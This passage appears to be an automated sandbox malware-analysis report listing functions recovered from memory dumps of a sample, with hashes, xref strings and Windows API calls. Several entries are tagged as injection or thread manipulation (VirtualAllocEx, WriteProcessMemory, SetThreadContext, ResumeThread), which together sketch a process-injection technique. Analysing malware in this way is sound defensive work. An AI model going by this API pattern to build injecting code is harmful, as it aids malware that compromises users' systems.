Opcode Fuzzy Hash: 68906b41dbce6cd3b7edfdfc10ba8c9c173b47da2c59ccede879d866c0731839
Instruction Fuzzy Hash: 93C107B4600205CFCB18DFA8D994A9DBBF2FF89310F1545A8E516AB3A1DB35EC45CB60

Function 026FB205 Relevance: 2.8, Strings: 2, Instructions: 281COMMON

Download Yara Rule

Strings

PH]q, xrefs: 026FB5CD
PH]q, xrefs: 026FB592

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 27d01de8c83c3f7180e2cc8ea20db02ad763e14be5e9b3107a49df7e33bd3673
Instruction ID: 40c661cd90f9ddec21990a5ae2bed39051856aab0183d1e6af97aba10d3aba0a
Opcode Fuzzy Hash: 27d01de8c83c3f7180e2cc8ea20db02ad763e14be5e9b3107a49df7e33bd3673
Instruction Fuzzy Hash: C5A18270B401088FDF489FB8D954B6E76A6EF89704F248429E606DB3A5DF78DC42CB91

Function 026F7878 Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

,aq, xrefs: 026F7958
,aq, xrefs: 026F794E

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: 8378c07bf6401821b67ba1fb92d1cef941d28f0706ea7f888d07f0d6ee59004e
Instruction ID: e72b286c9e6bd0f7f97cf4dd8637154e634297187329d011dfafc970390a3d5f
Opcode Fuzzy Hash: 8378c07bf6401821b67ba1fb92d1cef941d28f0706ea7f888d07f0d6ee59004e
Instruction Fuzzy Hash: 02819130A00206DFDF9ACF69C884AAAF7B2FF89214F168169DA15D7365D731E941CB90

Function 07150B28 Relevance: 2.5, Strings: 2, Instructions: 43COMMON

Download Yara Rule

Strings

Te]q, xrefs: 07150B2F
TJbq, xrefs: 07150B44

Memory Dump Source

Source File: 00000000.00000002.2761625176.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7150000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: TJbq$Te]q
API String ID: 0-3147309840
Opcode ID: c13b9647ec46951dfabb4d03250ea3dc0285d98c03fe2b84f17170770de89aec
Instruction ID: d8196b7473ccf5cf581b5968e2619d9342b5085e73128a0a86c5f49b6b214942
Opcode Fuzzy Hash: c13b9647ec46951dfabb4d03250ea3dc0285d98c03fe2b84f17170770de89aec
Instruction Fuzzy Hash: 0FF0F6323000154FCA08AB7DE55493F72EBAFCAA20315405EF50ACB3A1CE61DC0347E6

Function 07AF0318 Relevance: 2.0, Strings: 1, Instructions: 747COMMON

Download Yara Rule

Strings

S!l^, xrefs: 07AF0348

Memory Dump Source

Source File: 00000000.00000002.2762051972.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7af0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: S!l^
API String ID: 0-1174990032
Opcode ID: 2616f73f80587bf3e0a966fe96686f396fd221686c3f5123b3c4ef50c05fafc4
Instruction ID: 34dc2bb03809163ec0602732f274efbcef26bdf241dd38a0be53a0cea41590db
Opcode Fuzzy Hash: 2616f73f80587bf3e0a966fe96686f396fd221686c3f5123b3c4ef50c05fafc4
Instruction Fuzzy Hash: 5D6234F0D00B4ACBDB749FF4D49839E7A91AB91304F10492EE1BACB381DB38A455CB55

Function 071501E8 Relevance: 1.8, Strings: 1, Instructions: 532COMMON

Download Yara Rule

Strings

Te]q, xrefs: 07150733

Memory Dump Source

Source File: 00000000.00000002.2761625176.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7150000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 7564f860faa058c70594d30a13460c4e2a8023fced4050f177c81b4e8f0e357a
Instruction ID: 476567e450910b0593fdfd6ed9d352f5cc406ceaeed063a7a86c23943ce3fe17
Opcode Fuzzy Hash: 7564f860faa058c70594d30a13460c4e2a8023fced4050f177c81b4e8f0e357a
Instruction Fuzzy Hash: B8126F70B14214CBC748BBB8D88966DBBF2BB88704F808869D449E7394DF3C9C46CB52

Function 071501F8 Relevance: 1.8, Strings: 1, Instructions: 526COMMON

Download Yara Rule

Strings

Te]q, xrefs: 07150733

Memory Dump Source

Source File: 00000000.00000002.2761625176.0000000007150000.00000040.00000800.00020000.00000000.sdmp, Offset: 07150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7150000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 5bf44a41e7d243693ed551f5c1b18eda3c2224f0eaddbd6506e5717b86f83156
Instruction ID: ceb0817c15cacb0a5de466e6db63717a037edfaebc477d871d6355ec045b5190
Opcode Fuzzy Hash: 5bf44a41e7d243693ed551f5c1b18eda3c2224f0eaddbd6506e5717b86f83156
Instruction Fuzzy Hash: CD125070B14214CFD748BBB8D88966DBBF2BB88704F808969D449E7394DE3C9C46CB56

Function 07AF02B8 Relevance: 1.7, Strings: 1, Instructions: 486COMMON

Download Yara Rule

Strings

S!l^, xrefs: 07AF0348

Memory Dump Source

Source File: 00000000.00000002.2762051972.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7af0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: S!l^
API String ID: 0-1174990032
Opcode ID: b03eb8dea02a73ac5a4ab968702a19558b2120a1cadae09f1257b3bcce6e6dea
Instruction ID: 9b45ae84fb05762a100263809b0e123dd06d35f93457a4ad2525f1bd760bb311
Opcode Fuzzy Hash: b03eb8dea02a73ac5a4ab968702a19558b2120a1cadae09f1257b3bcce6e6dea
Instruction Fuzzy Hash: EF228DF0905B8FCADB709FA4C48439FB690AB55304F20491BE2FACB356D738949ACB55

Function 05B987A8 Relevance: 1.7, APIs: 1, Instructions: 209COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 05B989FE

Memory Dump Source

Source File: 00000000.00000002.2760678362.0000000005B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b90000_Jjv9ha2GKn.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 12a59b50f8ca8acb6b150303e76b6939425b52890b144ac05b7ae67f26fbf763
Instruction ID: 42cd6661361ef5d441004fb54d38fc5a20d4b78d065a5f814e7b0338bf80531e
Opcode Fuzzy Hash: 12a59b50f8ca8acb6b150303e76b6939425b52890b144ac05b7ae67f26fbf763
Instruction Fuzzy Hash: F9815770A00B058FDB28DF29D4447AABBF5FF89304F008969E48AD7A51D775F906CBA1

Function 05B9F0A4 Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05B9F1C2

Memory Dump Source

Source File: 00000000.00000002.2760678362.0000000005B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b90000_Jjv9ha2GKn.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 64341d2ae969edb7d829bcb85b9e9af30e261ea4f0e48542f0c810c266ae1ec1
Instruction ID: 6e55f20df2183a7366a2b0562f18f50d503bef92eabb0b43ea0e6469766d95b0
Opcode Fuzzy Hash: 64341d2ae969edb7d829bcb85b9e9af30e261ea4f0e48542f0c810c266ae1ec1
Instruction Fuzzy Hash: 2B51D0B1D003499FDF15CFA9C884ADEBBB5FF48310F24856AE419AB250D774A885CF90

Function 05B9D3F8 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05B9F1C2

Memory Dump Source

Source File: 00000000.00000002.2760678362.0000000005B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b90000_Jjv9ha2GKn.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: bf76df3638418faa2da23ef51290e87121c4c3972010e523700b2617b86dbb21
Instruction ID: c8243f5f0f62492b195251d9ea45d86e260a8cc46cba5103b01f22cb0656a502
Opcode Fuzzy Hash: bf76df3638418faa2da23ef51290e87121c4c3972010e523700b2617b86dbb21
Instruction Fuzzy Hash: AE51B1B1D003499FDF15CF9AC884ADEBBB5FF48310F24816AE819AB210D774A845CF90

Function 05BC1560 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05BC1621

Memory Dump Source

Source File: 00000000.00000002.2760736330.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_Jjv9ha2GKn.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: f6f58dcfdd0aef994427664af8f81e8b01684fb1f2372472f73df6683aed838f
Instruction ID: adb0f05f0eefbe59a1e4760f82373a2e774254da927c6b330cf7ac17f06a2242
Opcode Fuzzy Hash: f6f58dcfdd0aef994427664af8f81e8b01684fb1f2372472f73df6683aed838f
Instruction Fuzzy Hash: 0E4129B9900345CFCB14CF99C448AAABBF5FF99314F24C499D519AB321D334A841CFA4

Function 0719AE3F Relevance: 1.6, APIs: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0719AF13

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: eb285fa853b7e762e0037c0b60f9774ab24da22960059fcc12976158244224a5
Instruction ID: 0e1863428c7e103def6792049fa652791994026600619baab7393b30a5976699
Opcode Fuzzy Hash: eb285fa853b7e762e0037c0b60f9774ab24da22960059fcc12976158244224a5
Instruction Fuzzy Hash: 5A3159B580438A9FCB11CFA9C4446DEFBF4FF59710F24806AE4A4A7241D7385559CFA2

Function 075D3680 Relevance: 1.6, APIs: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 075D36FB

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5073a1177ae1869e31104b26cff9a580bead7821f53a94c44b9449b9389deb7f
Instruction ID: f62a09f320974e64c3a898cb743007a3c544b7399e381abcb3fcb425bd9a178d
Opcode Fuzzy Hash: 5073a1177ae1869e31104b26cff9a580bead7821f53a94c44b9449b9389deb7f
Instruction Fuzzy Hash: 6121F6B5900249DFCB10CF9AD985ADEBBF4FF48310F108469E869A7351D378A940CFA1

Function 075DD280 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 075DD310

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: bc30c7d392115af416d642f53fc3602193a03c0d6e88f55bb9c35ac3f185b850
Instruction ID: da147b162360f255b957b1c8d76a678d6cf86ae3b812fc34caaaadaba1bdfb18
Opcode Fuzzy Hash: bc30c7d392115af416d642f53fc3602193a03c0d6e88f55bb9c35ac3f185b850
Instruction Fuzzy Hash: 842105B5D003599FCB10DFAAC885BEEBBF5FF48310F10842AE959A7240D7789954CBA0

Function 05B99520 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,05B9B056,?,?,?,?,?), ref: 05B9B117

Memory Dump Source

Source File: 00000000.00000002.2760678362.0000000005B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b90000_Jjv9ha2GKn.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d2b0507d7912f44249b4e903b3cce6dc00a169f4a7fa8315d13e346c046cbf0a
Instruction ID: 2f99306ca896f999adfafe847f7f9ff34b281cac2f4625f30eb2be7ac0ffcbb4
Opcode Fuzzy Hash: d2b0507d7912f44249b4e903b3cce6dc00a169f4a7fa8315d13e346c046cbf0a
Instruction Fuzzy Hash: 6821E7B59042589FDB10CF9AD584ADEBBF5FB48310F14805AE918A3350D378A954CFA4

Function 05B9B089 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,05B9B056,?,?,?,?,?), ref: 05B9B117

Memory Dump Source

Source File: 00000000.00000002.2760678362.0000000005B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b90000_Jjv9ha2GKn.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 577fb00fb066e38e04291a7cabdb0d5b8441b85cbf44d78b77b10163d855244c
Instruction ID: cfac3f4a6d653fdf0fb4206c3e87069321b61637827e6b6e26c7f42bdd12e3df
Opcode Fuzzy Hash: 577fb00fb066e38e04291a7cabdb0d5b8441b85cbf44d78b77b10163d855244c
Instruction Fuzzy Hash: 3C21E2B5D002589FDF10CFAAD584AEEBBF5FB48310F14845AE918A3350C378A940CFA4

Function 075DC858 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64GetThreadContext.KERNEL32(?,00000000), ref: 075DC8D6

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d4b0769047610099e2f3e245a345113846588cacaff194f7fdb6f4a87c84d41f
Instruction ID: f0b985ce0b943f4339c8434e994cb1979f2516b72ca7b4fde07e5ba18965e7e1
Opcode Fuzzy Hash: d4b0769047610099e2f3e245a345113846588cacaff194f7fdb6f4a87c84d41f
Instruction Fuzzy Hash: 7E2104B1D002099FDB10DFAAC485BEEBBF5FF49314F14842AD519A7240CB78A945CFA1

Function 075DDC70 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 075DDCEE

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: a22e0626aeafaa077fb193dc3855d659e226eedd3d2ae6f90e93567d814d5a24
Instruction ID: 9932c699c79bdaaba4f172b6a36436c25f5fa01e543a74d30b93f9d93bfb47c3
Opcode Fuzzy Hash: a22e0626aeafaa077fb193dc3855d659e226eedd3d2ae6f90e93567d814d5a24
Instruction Fuzzy Hash: 532107B19003099FDB10DFAEC4857EEBBF5FF48314F14842AD519A7240CB78A945CBA5

Function 075DD9D0 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 075DDA47

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9a56e08655de729252791f017dcf2c0f4c8f9ae53022c02020a0105e34c1b444
Instruction ID: 3d2dc6ab537eb2a8291d62feec0d12c574da52b68ab45de1d2c13a05d3fac33e
Opcode Fuzzy Hash: 9a56e08655de729252791f017dcf2c0f4c8f9ae53022c02020a0105e34c1b444
Instruction Fuzzy Hash: 022115B1D003499FDB10DFAAC444AEEBBF5FF48320F10842AD519A7250CB789945CFA1

Function 07B30FA0 Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 07B3A288

Memory Dump Source

Source File: 00000000.00000002.2762215994.0000000007B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b30000_Jjv9ha2GKn.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 2723c2f12600960a24ba85d79a19e34ac892eee316da730c0f6cf1d0f02f7f76
Instruction ID: 5db3cab80e172ad0459e179fa250de7c30e26fde2df6c6149f30d9b2c9479a0f
Opcode Fuzzy Hash: 2723c2f12600960a24ba85d79a19e34ac892eee316da730c0f6cf1d0f02f7f76
Instruction Fuzzy Hash: CB2147B1C0061A9BDB10CF9AC844AAEFBB4EF08710F118169E818B7240D738A940CFE0

Function 0719AEA0 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0719AF13

Memory Dump Source

Source File: 00000000.00000002.2761733644.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7190000_Jjv9ha2GKn.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e38aeb5f498c924190d56de1599b6c8776e89eaba487efee99a1b9ecc08f17b3
Instruction ID: 0ab44d16f9616e09a576295bc1828316db7573d673509d4e42076b1b37e71b2e
Opcode Fuzzy Hash: e38aeb5f498c924190d56de1599b6c8776e89eaba487efee99a1b9ecc08f17b3
Instruction Fuzzy Hash: 5C21E4B59002499FCB10DF9AC584BDEFBF4FF48320F10842AE958A7250D378A544CFA1

Function 075D3688 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 075D36FB

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5e51b3f8ec386413b82dcc53cd4268dfd48c93d9e1df9e757cb0af84aa9f3791
Instruction ID: 574f46b342a3da1d91d4d7f5a3af2b8bda8aff63093b7d429376b104f989acdd
Opcode Fuzzy Hash: 5e51b3f8ec386413b82dcc53cd4268dfd48c93d9e1df9e757cb0af84aa9f3791
Instruction Fuzzy Hash: C421D6B59002499FCB10DF9AC484ADEFBF4FF48310F108429E558A7251D378A944CFA1

Function 075DCF40 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 075DCFAE

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 42ddf233fba20628728175523078ec6cb551ffde6f281eadefb1e823fd04e1c6
Instruction ID: 438739ef933241a12ab8f7a7f8b92a129b86b951f4bfbe210a80e2501ea3feef
Opcode Fuzzy Hash: 42ddf233fba20628728175523078ec6cb551ffde6f281eadefb1e823fd04e1c6
Instruction Fuzzy Hash: 13113AB19002499FCB10DFAAC844AEEFFF5FF48314F108419E519A7250C7759940CFA0

Function 075DDED8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 075DDF3A

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d11ab99900ebe296827fbdf32e042878ab819ba5a3791042e932db17e6388d4a
Instruction ID: 2dbaa0223a7e1cac944a2804b29e347d38abd99c670e7d3d71432632525fcd4e
Opcode Fuzzy Hash: d11ab99900ebe296827fbdf32e042878ab819ba5a3791042e932db17e6388d4a
Instruction Fuzzy Hash: 59113AB1D003498FCB20DFAAC4457EEFBF5EF88314F20841AD519A7244CB79A945CBA4

Function 05B98998 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 05B989FE

Memory Dump Source

Source File: 00000000.00000002.2760678362.0000000005B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b90000_Jjv9ha2GKn.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0a17460602acac918ee71e50c6b2083fffbb5810eb78875edc7272c617ce5b68
Instruction ID: 9e45d55603f5c48bd64cb51fa8dbf7ad0de6ff3a3a68f422976bc5b1e756330c
Opcode Fuzzy Hash: 0a17460602acac918ee71e50c6b2083fffbb5810eb78875edc7272c617ce5b68
Instruction Fuzzy Hash: 9411DCB6C002498FCB14DF9AD444ADEFBF9EF89324F10856AD829A7210C379A545CFA5

Function 075D5888 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 075DE3D5

Memory Dump Source

Source File: 00000000.00000002.2761948083.00000000075D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75d0000_Jjv9ha2GKn.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 77fc4498f6ae8eaea50d69fa75032c84c61f19ccf17c518c12758b97fed8cb80
Instruction ID: 0a2979330fb9942fb0e491647b2c8dd8ee42bdea9c3268d8077f03d3156c01b0
Opcode Fuzzy Hash: 77fc4498f6ae8eaea50d69fa75032c84c61f19ccf17c518c12758b97fed8cb80
Instruction Fuzzy Hash: 1E11F5B5800349DFDB20DF9AC485BEEBBF8FB48714F108459E518A7200C3B5A944CFA1

Function 026F9780 Relevance: 1.5, Strings: 1, Instructions: 205COMMON

Download Yara Rule

Strings

4']q, xrefs: 026F9932

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: aa6c61f43f0556f8cea43b93c075d9b4d015503957143d08342693c031b46a08
Instruction ID: 8af56121b74b18f1c38a8b44ef387acb032d5804269e77a96d5a727f43740ad1
Opcode Fuzzy Hash: aa6c61f43f0556f8cea43b93c075d9b4d015503957143d08342693c031b46a08
Instruction Fuzzy Hash: 0B6193317061118FCF98DF3AC894B6A7BE5BF857547098869EA16CB365DB31DC01CB60

Function 026F531A Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

Te]q, xrefs: 026F55D6

Memory Dump Source

Source File: 00000000.00000002.2751306084.00000000026F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_26f0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 2bbd8216fa536726159169258a75d20a6d0409455719addcf27ec349c914295b
Instruction ID: 22d854c87e42b535505dad4a98abb2197cad0bcec2f745cd011909fcb1121efb
Opcode Fuzzy Hash: 2bbd8216fa536726159169258a75d20a6d0409455719addcf27ec349c914295b
Instruction Fuzzy Hash: 2E5148706052449FDB598B78DA7A7AEBFB5BF42300F5C809AE8468B352C7268C47C791

Function 07AFDEA1 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

PH]q, xrefs: 07AFE069

Memory Dump Source

Source File: 00000000.00000002.2762051972.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7af0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 7f7e3060f4edbdf6d29ab38c4a6a322f62d85fb84ed5b69fb88a06aa45fd5d22
Instruction ID: 439558d5ab9428abef395754e0693b19938dcf7acb5fa8c2bb467a7084197041
Opcode Fuzzy Hash: 7f7e3060f4edbdf6d29ab38c4a6a322f62d85fb84ed5b69fb88a06aa45fd5d22
Instruction Fuzzy Hash: DE514771740502CFDB19CFA8C994F99BBB5BF88300F1581A9E516DB265CB31EC45CB90

Function 07AF31E7 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

Haq, xrefs: 07AF3307

Memory Dump Source

Source File: 00000000.00000002.2762051972.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7af0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 7eb5acad3506835c1fc0b78088f59f9e549b9c296327e7d9fe82c03baa82e181
Instruction ID: 4acf313f7eb5b9fcf7cc9b6ef5747a74610027993873cae40baf0420464f9a59
Opcode Fuzzy Hash: 7eb5acad3506835c1fc0b78088f59f9e549b9c296327e7d9fe82c03baa82e181
Instruction Fuzzy Hash: B841F2727002119BCB09AFB8A99467FBAA7AFC5351F158425FA06C7395DE38CC46C392

Function 07AFB109 Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

PH]q, xrefs: 07AFB286

Memory Dump Source

Source File: 00000000.00000002.2762051972.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7af0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 1fa43015bb07130734a19ed5e8239314bfa107440c830e7b6f257ba00308ff9e
Instruction ID: 0e79196ed13025c29c625e1a76126481637a72132494b6c59f47e106593f3358
Opcode Fuzzy Hash: 1fa43015bb07130734a19ed5e8239314bfa107440c830e7b6f257ba00308ff9e
Instruction Fuzzy Hash: 8851E6B4A00205CFDB18DFB8C998A99B7F1BF49714B2545A8E516AB3B1DB30EC41CB50

Function 07AF3CE7 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

Haq, xrefs: 07AF3DC0

Memory Dump Source

Source File: 00000000.00000002.2762051972.0000000007AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7af0000_Jjv9ha2GKn.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: cb407de7793150071a405336fa22c119adcde1835ee39207e766d28fee51870b
Instruction ID: 3a0b2de6d4f487a6ef08209d278d6e64ee353e95512043554e2dd11804d7669a
Opcode Fuzzy Hash: cb407de7793150071a405336fa22c119adcde1835ee39207e766d28fee51870b
Instruction Fuzzy Hash: 1C3139B16021119FCB159F68C1413BDBBA6AFC5300F0985ABE51997345CF34AC42C7E1

Function 026F9580 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings
